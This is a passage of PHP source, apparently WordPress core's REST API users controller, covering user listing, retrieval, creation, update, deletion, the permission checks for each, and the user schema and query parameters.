WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, otherwise WP_Error object. */ public function get_items_permissions_check( $request ) { // Check if roles is specified in GET request and if user can list users. if ( ! empty( $request['roles'] ) && ! current_user_can( 'list_users' ) ) { return new WP_Error( 'rest_user_cannot_view', __( 'Sorry, you are not allowed to filter users by role.' ), array( 'status' => rest_authorization_required_code() ) ); } // Check if capabilities is specified in GET request and if user can list users. if ( ! empty( $request['capabilities'] ) && ! current_user_can( 'list_users' ) ) { return new WP_Error( 'rest_user_cannot_view', __( 'Sorry, you are not allowed to filter users by capability.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( 'edit' === $request['context'] && ! current_user_can( 'list_users' ) ) { return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to list users.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( in_array( $request['orderby'], array( 'email', 'registered_date' ), true ) && ! current_user_can( 'list_users' ) ) { return new WP_Error( 'rest_forbidden_orderby', __( 'Sorry, you are not allowed to order users by this parameter.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( 'authors' === $request['who'] ) { $types = get_post_types( array( 'show_in_rest' => true ), 'objects' ); foreach ( $types as $type ) { if ( post_type_supports( $type->name, 'author' ) && current_user_can( $type->cap->edit_posts ) ) { return true; } } return new WP_Error( 'rest_forbidden_who', __( 'Sorry, you are not allowed to query users by this parameter.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Retrieves all users. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { // Retrieve the list of registered collection query parameters. $registered = $this->get_collection_params(); /* * This array defines mappings between public API query parameters whose * values are accepted as-passed, and their internal WP_Query parameter * name equivalents (some are the same). Only values which are also * present in $registered will be set. */ $parameter_mappings = array( 'exclude' => 'exclude', 'include' => 'include', 'order' => 'order', 'per_page' => 'number', 'search' => 'search', 'roles' => 'role__in', 'capabilities' => 'capability__in', 'slug' => 'nicename__in', ); $prepared_args = array(); /* * For each known parameter which is both registered and present in the request, * set the parameter's value on the query $prepared_args. */ foreach ( $parameter_mappings as $api_param => $wp_param ) { if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) { $prepared_args[ $wp_param ] = $request[ $api_param ]; } } if ( isset( $registered['offset'] ) && ! empty( $request['offset'] ) ) { $prepared_args['offset'] = $request['offset']; } else { $prepared_args['offset'] = ( $request['page'] - 1 ) * $prepared_args['number']; } if ( isset( $registered['orderby'] ) ) { $orderby_possibles = array( 'id' => 'ID', 'include' => 'include', 'name' => 'display_name', 'registered_date' => 'registered', 'slug' => 'user_nicename', 'include_slugs' => 'nicename__in', 'email' => 'user_email', 'url' => 'user_url', ); $prepared_args['orderby'] = $orderby_possibles[ $request['orderby'] ]; } if ( isset( $registered['who'] ) && ! empty( $request['who'] ) && 'authors' === $request['who'] ) { $prepared_args['who'] = 'authors'; } elseif ( ! current_user_can( 'list_users' ) ) { $prepared_args['has_published_posts'] = get_post_types( array( 'show_in_rest' => true ), 'names' ); } if ( ! empty( $request['has_published_posts'] ) ) { $prepared_args['has_published_posts'] = ( true === $request['has_published_posts'] ) ? get_post_types( array( 'show_in_rest' => true ), 'names' ) : (array) $request['has_published_posts']; } if ( ! empty( $prepared_args['search'] ) ) { $prepared_args['search'] = '*' . $prepared_args['search'] . '*'; } /** * Filters WP_User_Query arguments when querying users via the REST API. * * @link https://developer.wordpress.org/reference/classes/wp_user_query/ * * @since 4.7.0 * * @param array $prepared_args Array of arguments for WP_User_Query. * @param WP_REST_Request $request The REST API request. */ $prepared_args = apply_filters( 'rest_user_query', $prepared_args, $request ); $query = new WP_User_Query( $prepared_args ); $users = array(); foreach ( $query->results as $user ) { $data = $this->prepare_item_for_response( $user, $request ); $users[] = $this->prepare_response_for_collection( $data ); } $response = rest_ensure_response( $users ); // Store pagination values for headers then unset for count query. $per_page = (int) $prepared_args['number']; $page = ceil( ( ( (int) $prepared_args['offset'] ) / $per_page ) + 1 ); $prepared_args['fields'] = 'ID'; $total_users = $query->get_total(); if ( $total_users < 1 ) { // Out-of-bounds, run the query again without LIMIT for total count. unset( $prepared_args['number'], $prepared_args['offset'] ); $count_query = new WP_User_Query( $prepared_args ); $total_users = $count_query->get_total(); } $response->header( 'X-WP-Total', (int) $total_users ); $max_pages = ceil( $total_users / $per_page ); $response->header( 'X-WP-TotalPages', (int) $max_pages ); $base = add_query_arg( urlencode_deep( $request->get_query_params() ), rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ) ); if ( $page > 1 ) { $prev_page = $page - 1; if ( $prev_page > $max_pages ) { $prev_page = $max_pages; } $prev_link = add_query_arg( 'page', $prev_page, $base ); $response->link_header( 'prev', $prev_link ); } if ( $max_pages > $page ) { $next_page = $page + 1; $next_link = add_query_arg( 'page', $next_page, $base ); $response->link_header( 'next', $next_link ); } return $response; } /** * Get the user, if the ID is valid. * * @since 4.7.2 * * @param int $id Supplied ID. * @return WP_User|WP_Error True if ID is valid, WP_Error otherwise. */ protected function get_user( $id ) { $error = new WP_Error( 'rest_user_invalid_id', __( 'Invalid user ID.' ), array( 'status' => 404 ) ); if ( (int) $id <= 0 ) { return $error; } $user = get_userdata( (int) $id ); if ( empty( $user ) || ! $user->exists() ) { return $error; } if ( is_multisite() && ! is_user_member_of_blog( $user->ID ) ) { return $error; } return $user; } /** * Checks if a given request has access to read a user. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, otherwise WP_Error object. */ public function get_item_permissions_check( $request ) { $user = $this->get_user( $request['id'] ); if ( is_wp_error( $user ) ) { return $user; } $types = get_post_types( array( 'show_in_rest' => true ), 'names' ); if ( get_current_user_id() === $user->ID ) { return true; } if ( 'edit' === $request['context'] && ! current_user_can( 'list_users' ) ) { return new WP_Error( 'rest_user_cannot_view', __( 'Sorry, you are not allowed to list users.' ), array( 'status' => rest_authorization_required_code() ) ); } elseif ( ! count_user_posts( $user->ID, $types ) && ! current_user_can( 'edit_user', $user->ID ) && ! current_user_can( 'list_users' ) ) { return new WP_Error( 'rest_user_cannot_view', __( 'Sorry, you are not allowed to list users.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Retrieves a single user. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $user = $this->get_user( $request['id'] ); if ( is_wp_error( $user ) ) { return $user; } $user = $this->prepare_item_for_response( $user, $request ); $response = rest_ensure_response( $user ); return $response; } /** * Retrieves the current user. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_current_item( $request ) { $current_user_id = get_current_user_id(); if ( empty( $current_user_id ) ) { return new WP_Error( 'rest_not_logged_in', __( 'You are not currently logged in.' ), array( 'status' => 401 ) ); } $user = wp_get_current_user(); $response = $this->prepare_item_for_response( $user, $request ); $response = rest_ensure_response( $response ); return $response; } /** * Checks if a given request has access create users. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise. */ public function create_item_permissions_check( $request ) { if ( ! current_user_can( 'create_users' ) ) { return new WP_Error( 'rest_cannot_create_user', __( 'Sorry, you are not allowed to create new users.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Creates a single user. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function create_item( $request ) { if ( ! empty( $request['id'] ) ) { return new WP_Error( 'rest_user_exists', __( 'Cannot create existing user.' ), array( 'status' => 400 ) ); } $schema = $this->get_item_schema(); if ( ! empty( $request['roles'] ) && ! empty( $schema['properties']['roles'] ) ) { $check_permission = $this->check_role_update( $request['id'], $request['roles'] ); if ( is_wp_error( $check_permission ) ) { return $check_permission; } } $user = $this->prepare_item_for_database( $request ); if ( is_multisite() ) { $ret = wpmu_validate_user_signup( $user->user_login, $user->user_email ); if ( is_wp_error( $ret['errors'] ) && $ret['errors']->has_errors() ) { $error = new WP_Error( 'rest_invalid_param', __( 'Invalid user parameter(s).' ), array( 'status' => 400 ) ); foreach ( $ret['errors']->errors as $code => $messages ) { foreach ( $messages as $message ) { $error->add( $code, $message ); } $error_data = $error->get_error_data( $code ); if ( $error_data ) { $error->add_data( $error_data, $code ); } } return $error; } } if ( is_multisite() ) { $user_id = wpmu_create_user( $user->user_login, $user->user_pass, $user->user_email ); if ( ! $user_id ) { return new WP_Error( 'rest_user_create', __( 'Error creating new user.' ), array( 'status' => 500 ) ); } $user->ID = $user_id; $user_id = wp_update_user( wp_slash( (array) $user ) ); if ( is_wp_error( $user_id ) ) { return $user_id; } $result = add_user_to_blog( get_site()->id, $user_id, '' ); if ( is_wp_error( $result ) ) { return $result; } } else { $user_id = wp_insert_user( wp_slash( (array) $user ) ); if ( is_wp_error( $user_id ) ) { return $user_id; } } $user = get_user_by( 'id', $user_id ); /** * Fires immediately after a user is created or updated via the REST API. * * @since 4.7.0 * * @param WP_User $user Inserted or updated user object. * @param WP_REST_Request $request Request object. * @param bool $creating True when creating a user, false when updating. */ do_action( 'rest_insert_user', $user, $request, true ); if ( ! empty( $request['roles'] ) && ! empty( $schema['properties']['roles'] ) ) { array_map( array( $user, 'add_role' ), $request['roles'] ); } if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) { $meta_update = $this->meta->update_value( $request['meta'], $user_id ); if ( is_wp_error( $meta_update ) ) { return $meta_update; } } $user = get_user_by( 'id', $user_id ); $fields_update = $this->update_additional_fields_for_object( $user, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } $request->set_param( 'context', 'edit' ); /** * Fires after a user is completely created or updated via the REST API. * * @since 5.0.0 * * @param WP_User $user Inserted or updated user object. * @param WP_REST_Request $request Request object. * @param bool $creating True when creating a user, false when updating. */ do_action( 'rest_after_insert_user', $user, $request, true ); $response = $this->prepare_item_for_response( $user, $request ); $response = rest_ensure_response( $response ); $response->set_status( 201 ); $response->header( 'Location', rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $user_id ) ) ); return $response; } /** * Checks if a given request has access to update a user. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise. */ public function update_item_permissions_check( $request ) { $user = $this->get_user( $request['id'] ); if ( is_wp_error( $user ) ) { return $user; } if ( ! empty( $request['roles'] ) ) { if ( ! current_user_can( 'promote_user', $user->ID ) ) { return new WP_Error( 'rest_cannot_edit_roles', __( 'Sorry, you are not allowed to edit roles of this user.' ), array( 'status' => rest_authorization_required_code() ) ); } $request_params = array_keys( $request->get_params() ); sort( $request_params ); // If only 'id' and 'roles' are specified (we are only trying to // edit roles), then only the 'promote_user' cap is required. if ( array( 'id', 'roles' ) === $request_params ) { return true; } } if ( ! current_user_can( 'edit_user', $user->ID ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this user.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Updates a single user. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function update_item( $request ) { $user = $this->get_user( $request['id'] ); if ( is_wp_error( $user ) ) { return $user; } $id = $user->ID; if ( ! $user ) { return new WP_Error( 'rest_user_invalid_id', __( 'Invalid user ID.' ), array( 'status' => 404 ) ); } $owner_id = email_exists( $request['email'] ); if ( $owner_id && $owner_id !== $id ) { return new WP_Error( 'rest_user_invalid_email', __( 'Invalid email address.' ), array( 'status' => 400 ) ); } if ( ! empty( $request['username'] ) && $request['username'] !== $user->user_login ) { return new WP_Error( 'rest_user_invalid_argument', __( 'Username is not editable.' ), array( 'status' => 400 ) ); } if ( ! empty( $request['slug'] ) && $request['slug'] !== $user->user_nicename && get_user_by( 'slug', $request['slug'] ) ) { return new WP_Error( 'rest_user_invalid_slug', __( 'Invalid slug.' ), array( 'status' => 400 ) ); } if ( ! empty( $request['roles'] ) ) { $check_permission = $this->check_role_update( $id, $request['roles'] ); if ( is_wp_error( $check_permission ) ) { return $check_permission; } } $user = $this->prepare_item_for_database( $request ); // Ensure we're operating on the same user we already checked. $user->ID = $id; $user_id = wp_update_user( wp_slash( (array) $user ) ); if ( is_wp_error( $user_id ) ) { return $user_id; } $user = get_user_by( 'id', $user_id ); /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php */ do_action( 'rest_insert_user', $user, $request, false ); if ( ! empty( $request['roles'] ) ) { array_map( array( $user, 'add_role' ), $request['roles'] ); } $schema = $this->get_item_schema(); if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) { $meta_update = $this->meta->update_value( $request['meta'], $id ); if ( is_wp_error( $meta_update ) ) { return $meta_update; } } $user = get_user_by( 'id', $user_id ); $fields_update = $this->update_additional_fields_for_object( $user, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } $request->set_param( 'context', 'edit' ); /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php */ do_action( 'rest_after_insert_user', $user, $request, false ); $response = $this->prepare_item_for_response( $user, $request ); $response = rest_ensure_response( $response ); return $response; } /** * Checks if a given request has access to update the current user. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise. */ public function update_current_item_permissions_check( $request ) { $request['id'] = get_current_user_id(); return $this->update_item_permissions_check( $request ); } /** * Updates the current user. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function update_current_item( $request ) { $request['id'] = get_current_user_id(); return $this->update_item( $request ); } /** * Checks if a given request has access delete a user. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise. */ public function delete_item_permissions_check( $request ) { $user = $this->get_user( $request['id'] ); if ( is_wp_error( $user ) ) { return $user; } if ( ! current_user_can( 'delete_user', $user->ID ) ) { return new WP_Error( 'rest_user_cannot_delete', __( 'Sorry, you are not allowed to delete this user.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Deletes a single user. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function delete_item( $request ) { // We don't support delete requests in multisite. if ( is_multisite() ) { return new WP_Error( 'rest_cannot_delete', __( 'The user cannot be deleted.' ), array( 'status' => 501 ) ); } $user = $this->get_user( $request['id'] ); if ( is_wp_error( $user ) ) { return $user; } $id = $user->ID; $reassign = false === $request['reassign'] ? null : absint( $request['reassign'] ); $force = isset( $request['force'] ) ? (bool) $request['force'] : false; // We don't support trashing for users. if ( ! $force ) { return new WP_Error( 'rest_trash_not_supported', /* translators: %s: force=true */ sprintf( __( "Users do not support trashing. Set '%s' to delete." ), 'force=true' ), array( 'status' => 501 ) ); } if ( ! empty( $reassign ) ) { if ( $reassign === $id || ! get_userdata( $reassign ) ) { return new WP_Error( 'rest_user_invalid_reassign', __( 'Invalid user ID for reassignment.' ), array( 'status' => 400 ) ); } } $request->set_param( 'context', 'edit' ); $previous = $this->prepare_item_for_response( $user, $request ); // Include user admin functions to get access to wp_delete_user(). require_once ABSPATH . 'wp-admin/includes/user.php'; $result = wp_delete_user( $id, $reassign ); if ( ! $result ) { return new WP_Error( 'rest_cannot_delete', __( 'The user cannot be deleted.' ), array( 'status' => 500 ) ); } $response = new WP_REST_Response(); $response->set_data( array( 'deleted' => true, 'previous' => $previous->get_data(), ) ); /** * Fires immediately after a user is deleted via the REST API. * * @since 4.7.0 * * @param WP_User $user The user data. * @param WP_REST_Response $response The response returned from the API. * @param WP_REST_Request $request The request sent to the API. */ do_action( 'rest_delete_user', $user, $response, $request ); return $response; } /** * Checks if a given request has access to delete the current user. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise. */ public function delete_current_item_permissions_check( $request ) { $request['id'] = get_current_user_id(); return $this->delete_item_permissions_check( $request ); } /** * Deletes the current user. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function delete_current_item( $request ) { $request['id'] = get_current_user_id(); return $this->delete_item( $request ); } /** * Prepares a single user output for response. * * @since 4.7.0 * @since 5.9.0 Renamed `$user` to `$item` to match parent class for PHP 8 named parameter support. * * @param WP_User $item User object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { // Restores the more descriptive, specific name for use within this method. $user = $item; $data = array(); $fields = $this->get_fields_for_response( $request ); if ( in_array( 'id', $fields, true ) ) { $data['id'] = $user->ID; } if ( in_array( 'username', $fields, true ) ) { $data['username'] = $user->user_login; } if ( in_array( 'name', $fields, true ) ) { $data['name'] = $user->display_name; } if ( in_array( 'first_name', $fields, true ) ) { $data['first_name'] = $user->first_name; } if ( in_array( 'last_name', $fields, true ) ) { $data['last_name'] = $user->last_name; } if ( in_array( 'email', $fields, true ) ) { $data['email'] = $user->user_email; } if ( in_array( 'url', $fields, true ) ) { $data['url'] = $user->user_url; } if ( in_array( 'description', $fields, true ) ) { $data['description'] = $user->description; } if ( in_array( 'link', $fields, true ) ) { $data['link'] = get_author_posts_url( $user->ID, $user->user_nicename ); } if ( in_array( 'locale', $fields, true ) ) { $data['locale'] = get_user_locale( $user ); } if ( in_array( 'nickname', $fields, true ) ) { $data['nickname'] = $user->nickname; } if ( in_array( 'slug', $fields, true ) ) { $data['slug'] = $user->user_nicename; } if ( in_array( 'roles', $fields, true ) ) { // Defensively call array_values() to ensure an array is returned. $data['roles'] = array_values( $user->roles ); } if ( in_array( 'registered_date', $fields, true ) ) { $data['registered_date'] = gmdate( 'c', strtotime( $user->user_registered ) ); } if ( in_array( 'capabilities', $fields, true ) ) { $data['capabilities'] = (object) $user->allcaps; } if ( in_array( 'extra_capabilities', $fields, true ) ) { $data['extra_capabilities'] = (object) $user->caps; } if ( in_array( 'avatar_urls', $fields, true ) ) { $data['avatar_urls'] = rest_get_avatar_urls( $user ); } if ( in_array( 'meta', $fields, true ) ) { $data['meta'] = $this->meta->get_value( $user->ID, $request ); } $context = ! empty( $request['context'] ) ? $request['context'] : 'embed'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); // Wrap the data in a response object. $response = rest_ensure_response( $data ); $response->add_links( $this->prepare_links( $user ) ); /** * Filters user data returned from the REST API. * * @since 4.7.0 * * @param WP_REST_Response $response The response object. * @param WP_User $user User object used to create response. * @param WP_REST_Request $request Request object. */ return apply_filters( 'rest_prepare_user', $response, $user, $request ); } /** * Prepares links for the user request. * * @since 4.7.0 * * @param WP_User $user User object. * @return array Links for the given user. */ protected function prepare_links( $user ) { $links = array( 'self' => array( 'href' => rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $user->ID ) ), ), 'collection' => array( 'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ), ), ); return $links; } /** * Prepares a single user for creation or update. * * @since 4.7.0 * * @param WP_REST_Request $request Request object. * @return object User object. */ protected function prepare_item_for_database( $request ) { $prepared_user = new stdClass; $schema = $this->get_item_schema(); // Required arguments. if ( isset( $request['email'] ) && ! empty( $schema['properties']['email'] ) ) { $prepared_user->user_email = $request['email']; } if ( isset( $request['username'] ) && ! empty( $schema['properties']['username'] ) ) { $prepared_user->user_login = $request['username']; } if ( isset( $request['password'] ) && ! empty( $schema['properties']['password'] ) ) { $prepared_user->user_pass = $request['password']; } // Optional arguments. if ( isset( $request['id'] ) ) { $prepared_user->ID = absint( $request['id'] ); } if ( isset( $request['name'] ) && ! empty( $schema['properties']['name'] ) ) { $prepared_user->display_name = $request['name']; } if ( isset( $request['first_name'] ) && ! empty( $schema['properties']['first_name'] ) ) { $prepared_user->first_name = $request['first_name']; } if ( isset( $request['last_name'] ) && ! empty( $schema['properties']['last_name'] ) ) { $prepared_user->last_name = $request['last_name']; } if ( isset( $request['nickname'] ) && ! empty( $schema['properties']['nickname'] ) ) { $prepared_user->nickname = $request['nickname']; } if ( isset( $request['slug'] ) && ! empty( $schema['properties']['slug'] ) ) { $prepared_user->user_nicename = $request['slug']; } if ( isset( $request['description'] ) && ! empty( $schema['properties']['description'] ) ) { $prepared_user->description = $request['description']; } if ( isset( $request['url'] ) && ! empty( $schema['properties']['url'] ) ) { $prepared_user->user_url = $request['url']; } if ( isset( $request['locale'] ) && ! empty( $schema['properties']['locale'] ) ) { $prepared_user->locale = $request['locale']; } // Setting roles will be handled outside of this function. if ( isset( $request['roles'] ) ) { $prepared_user->role = false; } /** * Filters user data before insertion via the REST API. * * @since 4.7.0 * * @param object $prepared_user User object. * @param WP_REST_Request $request Request object. */ return apply_filters( 'rest_pre_insert_user', $prepared_user, $request ); } /** * Determines if the current user is allowed to make the desired roles change. * * @since 4.7.0 * * @global WP_Roles $wp_roles WordPress role management object. * * @param int $user_id User ID. * @param array $roles New user roles. * @return true|WP_Error True if the current user is allowed to make the role change, * otherwise a WP_Error object. */ protected function check_role_update( $user_id, $roles ) { global $wp_roles; foreach ( $roles as $role ) { if ( ! isset( $wp_roles->role_objects[ $role ] ) ) { return new WP_Error( 'rest_user_invalid_role', /* translators: %s: Role key. */ sprintf( __( 'The role %s does not exist.' ), $role ), array( 'status' => 400 ) ); } $potential_role = $wp_roles->role_objects[ $role ]; /* * Don't let anyone with 'edit_users' (admins) edit their own role to something without it. * Multisite super admins can freely edit their blog roles -- they possess all caps. */ if ( ! ( is_multisite() && current_user_can( 'manage_sites' ) ) && get_current_user_id() === $user_id && ! $potential_role->has_cap( 'edit_users' ) ) { return new WP_Error( 'rest_user_invalid_role', __( 'Sorry, you are not allowed to give users that role.' ), array( 'status' => rest_authorization_required_code() ) ); } // Include user admin functions to get access to get_editable_roles(). require_once ABSPATH . 'wp-admin/includes/user.php'; // The new role must be editable by the logged-in user. $editable_roles = get_editable_roles(); if ( empty( $editable_roles[ $role ] ) ) { return new WP_Error( 'rest_user_invalid_role', __( 'Sorry, you are not allowed to give users that role.' ), array( 'status' => 403 ) ); } } return true; } /** * Check a username for the REST API. * * Performs a couple of checks like edit_user() in wp-admin/includes/user.php. * * @since 4.7.0 * * @param string $value The username submitted in the request. * @param WP_REST_Request $request Full details about the request. * @param string $param The parameter name. * @return string|WP_Error The sanitized username, if valid, otherwise an error. */ public function check_username( $value, $request, $param ) { $username = (string) $value; if ( ! validate_username( $username ) ) { return new WP_Error( 'rest_user_invalid_username', __( 'This username is invalid because it uses illegal characters. Please enter a valid username.' ), array( 'status' => 400 ) ); } /** This filter is documented in wp-includes/user.php */ $illegal_logins = (array) apply_filters( 'illegal_user_logins', array() ); if ( in_array( strtolower( $username ), array_map( 'strtolower', $illegal_logins ), true ) ) { return new WP_Error( 'rest_user_invalid_username', __( 'Sorry, that username is not allowed.' ), array( 'status' => 400 ) ); } return $username; } /** * Check a user password for the REST API. * * Performs a couple of checks like edit_user() in wp-admin/includes/user.php. * * @since 4.7.0 * * @param string $value The password submitted in the request. * @param WP_REST_Request $request Full details about the request. * @param string $param The parameter name. * @return string|WP_Error The sanitized password, if valid, otherwise an error. */ public function check_user_password( $value, $request, $param ) { $password = (string) $value; if ( empty( $password ) ) { return new WP_Error( 'rest_user_invalid_password', __( 'Passwords cannot be empty.' ), array( 'status' => 400 ) ); } if ( false !== strpos( $password, '\\' ) ) { return new WP_Error( 'rest_user_invalid_password', sprintf( /* translators: %s: The '\' character. */ __( 'Passwords cannot contain the "%s" character.' ), '\\' ), array( 'status' => 400 ) ); } return $password; } /** * Retrieves the user's schema, conforming to JSON Schema. * * @since 4.7.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'user', 'type' => 'object', 'properties' => array( 'id' => array( 'description' => __( 'Unique identifier for the user.' ), 'type' => 'integer', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'username' => array( 'description' => __( 'Login name for the user.' ), 'type' => 'string', 'context' => array( 'edit' ), 'required' => true, 'arg_options' => array( 'sanitize_callback' => array( $this, 'check_username' ), ), ), 'name' => array( 'description' => __( 'Display name for the user.' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'first_name' => array( 'description' => __( 'First name for the user.' ), 'type' => 'string', 'context' => array( 'edit' ), 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'last_name' => array( 'description' => __( 'Last name for the user.' ), 'type' => 'string', 'context' => array( 'edit' ), 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'email' => array( 'description' => __( 'The email address for the user.' ), 'type' => 'string', 'format' => 'email', 'context' => array( 'edit' ), 'required' => true, ), 'url' => array( 'description' => __( 'URL of the user.' ), 'type' => 'string', 'format' => 'uri', 'context' => array( 'embed', 'view', 'edit' ), ), 'description' => array( 'description' => __( 'Description of the user.' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), ), 'link' => array( 'description' => __( 'Author URL of the user.' ), 'type' => 'string', 'format' => 'uri', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'locale' => array( 'description' => __( 'Locale for the user.' ), 'type' => 'string', 'enum' => array_merge( array( '', 'en_US' ), get_available_languages() ), 'context' => array( 'edit' ), ), 'nickname' => array( 'description' => __( 'The nickname for the user.' ), 'type' => 'string', 'context' => array( 'edit' ), 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'slug' => array( 'description' => __( 'An alphanumeric identifier for the user.' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), 'arg_options' => array( 'sanitize_callback' => array( $this, 'sanitize_slug' ), ), ), 'registered_date' => array( 'description' => __( 'Registration date for the user.' ), 'type' => 'string', 'format' => 'date-time', 'context' => array( 'edit' ), 'readonly' => true, ), 'roles' => array( 'description' => __( 'Roles assigned to the user.' ), 'type' => 'array', 'items' => array( 'type' => 'string', ), 'context' => array( 'edit' ), ), 'password' => array( 'description' => __( 'Password for the user (never included).' ), 'type' => 'string', 'context' => array(), // Password is never displayed. 'required' => true, 'arg_options' => array( 'sanitize_callback' => array( $this, 'check_user_password' ), ), ), 'capabilities' => array( 'description' => __( 'All capabilities assigned to the user.' ), 'type' => 'object', 'context' => array( 'edit' ), 'readonly' => true, ), 'extra_capabilities' => array( 'description' => __( 'Any extra capabilities assigned to the user.' ), 'type' => 'object', 'context' => array( 'edit' ), 'readonly' => true, ), ), ); if ( get_option( 'show_avatars' ) ) { $avatar_properties = array(); $avatar_sizes = rest_get_avatar_sizes(); foreach ( $avatar_sizes as $size ) { $avatar_properties[ $size ] = array( /* translators: %d: Avatar image size in pixels. */ 'description' => sprintf( __( 'Avatar URL with image size of %d pixels.' ), $size ), 'type' => 'string', 'format' => 'uri', 'context' => array( 'embed', 'view', 'edit' ), ); } $schema['properties']['avatar_urls'] = array( 'description' => __( 'Avatar URLs for the user.' ), 'type' => 'object', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, 'properties' => $avatar_properties, ); } $schema['properties']['meta'] = $this->meta->get_field_schema(); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the query params for collections. * * @since 4.7.0 * * @return array Collection parameters. */ public function get_collection_params() { $query_params = parent::get_collection_params(); $query_params['context']['default'] = 'view'; $query_params['exclude'] = array( 'description' => __( 'Ensure result set excludes specific IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), ); $query_params['include'] = array( 'description' => __( 'Limit result set to specific IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), ); $query_params['offset'] = array( 'description' => __( 'Offset the result set by a specific number of items.' ), 'type' => 'integer', ); $query_params['order'] = array( 'default' => 'asc', 'description' => __( 'Order sort attribute ascending or descending.' ), 'enum' => array( 'asc', 'desc' ), 'type' => 'string', ); $query_params['orderby'] = array( 'default' => 'name', 'description' => __( 'Sort collection by user attribute.' ), 'enum' => array( 'id', 'include', 'name', 'registered_date', 'slug', 'include_slugs', 'email', 'url', ), 'type' => 'string', ); $query_params['slug'] = array( 'description' => __( 'Limit result set to users with one or more specific slugs.' ), 'type' => 'array', 'items' => array( 'type' => 'string', ), ); $query_params['roles'] = array( 'description' => __( 'Limit result set to users matching at least one specific role provided. Accepts csv list or single role.' ), 'type' => 'array', 'items' => array( 'type' => 'string', ), ); $query_params['capabilities'] = array( 'description' => __( 'Limit result set to users matching at least one specific capability provided. Accepts csv list or single capability.' ), 'type' => 'array', 'items' => array( 'type' => 'string', ), ); $query_params['who'] = array( 'description' => __( 'Limit result set to users who are considered authors.' ), 'type' => 'string', 'enum' => array( 'authors', ), ); $query_params['has_published_posts'] = array( 'description' => __( 'Limit result set to users who have published posts.' ), 'type' => array( 'boolean', 'array' ), 'items' => array( 'type' => 'string', 'enum' => get_post_types( array( 'show_in_rest' => true ), 'names' ), ), ); /** * Filters REST API collection parameters for the users controller. * * This filter registers the collection parameter, but does not map the * collection parameter to an internal WP_User_Query parameter. Use the * `rest_user_query` filter to set WP_User_Query arguments. * * @since 4.7.0 * * @param array $query_params JSON Schema-formatted collection parameters. */ return apply_filters( 'rest_user_collection_params', $query_params ); } } 